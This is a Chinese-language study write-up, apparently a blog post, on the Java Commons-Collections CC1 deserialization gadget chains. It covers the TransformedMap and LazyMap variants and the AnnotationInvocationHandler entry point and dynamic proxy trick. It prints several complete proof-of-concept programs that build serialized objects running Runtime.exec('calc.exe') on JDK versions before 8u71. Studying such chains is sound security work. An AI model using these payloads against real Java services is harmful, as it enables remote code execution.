TransformedMap链流程
在知识星球看到有师傅用思维导图的方式描述cc链,在这里借鉴一下,自己画一遍CC1 TransformedMap
这条链子的流程
组合技
p牛在安全漫谈里上来就在介绍这套组合技,我把它叫做有着固定范式的combo,也就是上图蓝色框起来的部分。
蓝色的combo部分是不依赖于反序列化存在的,以下是p牛简化过的poc,我加了一些批注
public class CC1combo {
public static void main(String[] args) throws Exception {
Transformer[] transformers =
new Transformer[] {
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec", new Class[] {String.class}, new Object[] {"calc.exe"}),
};
//构造ChainedTransformer,这个过程像是多米诺骨牌,一环紧扣一环
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
//手动添加元素,触发TransformedMap.checkSetValue(),以触发combo部分
outerMap.put("hello", "xxxx");
}
}
重要的Transformer
Transformer类 | 作用 |
---|---|
ConstantTransformer | 用于包装任意一个对象,调用transform方法返回被包装的对象 |
InvokerTransformer | 用于执行任意方法 调用transform方法通过反射调用参数中指定的方法以及形参 |
ChainedTransformer | 把多个Transformer 串起来,前一个回调的结果作为后一个回调的参数传入 |
TransformedMap
在这里的作用是为了触发ChainedTransformer
的回调,让整个combo机制能够连环运作。
这里是有疑问的,因为这是一种从结果倒推的方法,我不确定
TransformedMap
本身是否属于combo机制的一部分,但无论如何都运作的十分巧妙。
满足组合技的条件
TransformedMap
触发回调需要往Map中添入新元素,这是机制的一部分。我们能控制的输入只有反序列化的内容,也就是说需要挑选合适的类,在其反序列化时执行一些类似往Map中添入元素的操作。
这个类就是AnnotationInvocationHandler
,它有一个成员变量memberValues
是Map
类型,readObject()
函数中对memberValues
的每一项调用了setValue()
函数(这个问题在8u71被修复了)。这意味着如果这个memberValues
是我们精心设计的TransformedMap
,就能够触发其回调函数进而运行combo
构造payload
构造payload时会遇到一些问题:
Runtime
对象无法序列化
Runtime
类没有实现java.io.serializable
接口,尝试通过反射获取当前上下文的Runtime
对象。
AnnotationInvocationHandler.readObject()
无法触发漏洞
p牛在java漫谈中直接给出了两个条件:
sun.reflect.annotation.AnnotationInvocationHandler
构造函数的第一个参数必须是Annotation的子类,且其中必须含有至少一个方法,假设方法名为X- 被
TransformedMap.decorate
修饰的Map中必须有一个键名为X的元素
p牛在此用到了Retention.class
,其有一个方法名为value。这里p牛给出的条件不够严谨,原因出在下述代码第二次做if判断的位置
//jdk8u71之前
//sun.reflect.annotation.AnnotationInvocationHandler
//#readObject
if (var7 != null) {
Object var8 = var5.getValue();
if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
}
}
我们给map添加新元素时,新元素的key对应的方法返回类型不能与value的类型相同,也不是 ExceptionProxy
对象。比如说我在这里使用了Generated.class
中的comments
方法,该方法返回的类型是String
,那么添加新元素时我应该写成map.put("comments",0)
。
最终构造可利用的payload
public static void main(String[] args) throws Exception {
Transformer[] transformers =
new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer(
"getMethod",
new Class[] {String.class, Class[].class},
new Object[] {"getRuntime", new Class[0]}),
new InvokerTransformer(
"invoke",
new Class[] {Object.class, Object[].class},
new Object[] {null, new Object[0]}),
new InvokerTransformer("exec", new Class[] {String.class}, new Object[] {"calc.exe"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("comments", 0);
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object obj = constructor.newInstance(Generated.class, outerMap);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(obj);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object) ois.readObject();
}
}
LazyMap链流程
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-EeSnhmEg-1655281943867)(https://raw.githubusercontent.com/DrDenkiBran/Image/main/img/image-20220604201652339.png)]
LazyMap
与TransformedMap类似,来源于Common-Collections库,继承AbstractMapDecorator
与TransformedMap这条利用链区别在于:LazyMap需要执行其get方法才能执行内部的factory.transform
回调,触发后续ChainedTransformer
的链式调用。
动态代理
AnnotationInvocationHandler.invoke
中调用了get
方法
如何调用invoke
方法?ysoserial给出的答案是动态代理类Proxy
。
简单讲,代理类可以在运行时创建全新的类,这样能够实现指定的接口,它将会包含指定接口所需要的全部方法。
但是不能在运行时定义这些方法的新代码,而是需要提供一个调用处理器handler,它是实现了InvocationHandler
接口的对象,这个接口只定义了一个invoke
方法。
一旦调用代理对象的方法,都会调用对应handler的invoke方法
不难发现ysoserial给出的思路十分自然,因为AnnotationInvocationHandler
是实现了InvocationHandler
接口的类。在readObject
时利用代理类调用任意方法都会调用对应handler的特性,调用AnnotationInvocationHandler.invoke
攻击构造
public static void main(String[] args) throws Exception {
Transformer[] transformers =
new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer(
"getMethod",
new Class[] {String.class, Class[].class},
new Object[] {"getRuntime", new Class[0]}),
new InvokerTransformer(
"invoke",
new Class[] {Object.class, Object[].class},
new Object[] {null, new Object[0]}),
new InvokerTransformer("exec", new Class[] {String.class}, new Object[] {"calc.exe"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
// 构造ChainedTransformer
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler handler =
(InvocationHandler) constructor.newInstance(Generated.class, outerMap);
Map proxyMap =
(Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
handler = (InvocationHandler) constructor.newInstance(Generated.class, proxyMap);
//第一个参数满足构造器要求的条件即可
//不需要像TransformedMap链中那样花式调用setValue,因为这之前代理的map对象就通过调用自己的方法调用到了invoke
SerializeUtil.writeObject(handler);
SerializeUtil.readObject();
//简化反序列化的部分
}
总结
值得关注和思考的点
- 入口点的作用:
AnnotationInvocationHandler.readObject()
ChainedTransformer
的链式调用,这套组合拳或许后续还能用到。
依赖版本
commons-collections : 3.1
JDK < 8u71